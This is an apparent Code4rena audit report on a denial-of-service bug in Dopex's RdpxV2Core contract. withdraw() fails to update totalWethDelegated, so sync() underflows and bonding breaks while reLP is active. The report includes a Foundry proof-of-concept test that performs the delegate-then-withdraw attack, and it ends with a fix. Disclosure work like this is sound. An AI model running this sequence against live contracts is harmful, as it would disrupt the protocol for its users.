Dopex - Talfao's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1002

Vulnerability details

Description

This issue occurs as the totalWethDelegated variable is not updated when the user withdraws unused delegated collateral. As this variable is not updated, the sync() function may revert if the current contract's balance of Weth is lesser than the totalWethDelegated var.

An attacker can easily influence the number in this variable by delegating his collateral and withdrawing repeatedly.

This situation is a problem as the sync() variable is called when reLP is active, so the whole bonding mechanism (functionality) will revert, and reLP will not be possible.

Impact

Denial of service of whole Bonding mechanism in Core contract when reLP is active. And also the DoS of reLP.

Proof of Concept

Attack scenario

• IsreLP is set to True;

1. The attacker delegates a large amount of collateral (WETH). The totalWethDelegated variable is increased.
2. The attacker immediately withdraws his collateral before it is used.
3. The totalWethDelegated variable is not decreased due to missing updates at the withdraw function.
   • Note: The attacker can do steps 1 and 2 repeatedly, as also on Arbitrum, the gas is cheap.
4. Now, the User Alice wants to Bond. But this will revert as reLP is active, and in this function, a sync() is called, which will revert due to underflow.

Missing update

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Place where underflow occurs.

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1002

Test

This test should be added to tests/tests/rdpxV2-core/Periphery.t.sol. As proof, it will revert to arithmetic underflow.

function test_proof_of_DoS() public {
    testV2Amo();

    // set address in reLP contract and grant role
    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    reLpContract.setreLpFactor(9e4);

    // add liquidity
    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
    uniV2LiquidityAMO.approveContractToSpend(
      address(pair),
      address(reLpContract),
      type(uint256).max
    );

    rdpxV2Core.setIsreLP(true);

    //Added to prove dos
    address attacker = makeAddr("Attacker");
    weth.mint(attacker, 100000 ether);
    rdpx.mint(attacker, 100000 ether);
    vm.startPrank(attacker);
    uint balanceOFCore = weth.balanceOf(address(rdpxV2Core));
    weth.approve(address(rdpxV2Core), 100000 ether);
    rdpxV2Core.addToDelegate(balanceOFCore + 1000 ether, 99e8);
    rdpxV2Core.withdraw(0);
    rdpxV2Core.sync();
    vm.stopPrank();

    rdpxV2Core.bond(1 * 1e18, 0, address(this)); // This will revert now.

  }

Tools Used

Recommended Mitigation Steps

To mitigate this issue, you need to update the totalWethDelegated variable when the user withdraws his delegated collateral.

 function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    ...

    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;
+ totalWethDelegated -= amountWithdrawn;
   ...
  }

Assessed type

DoS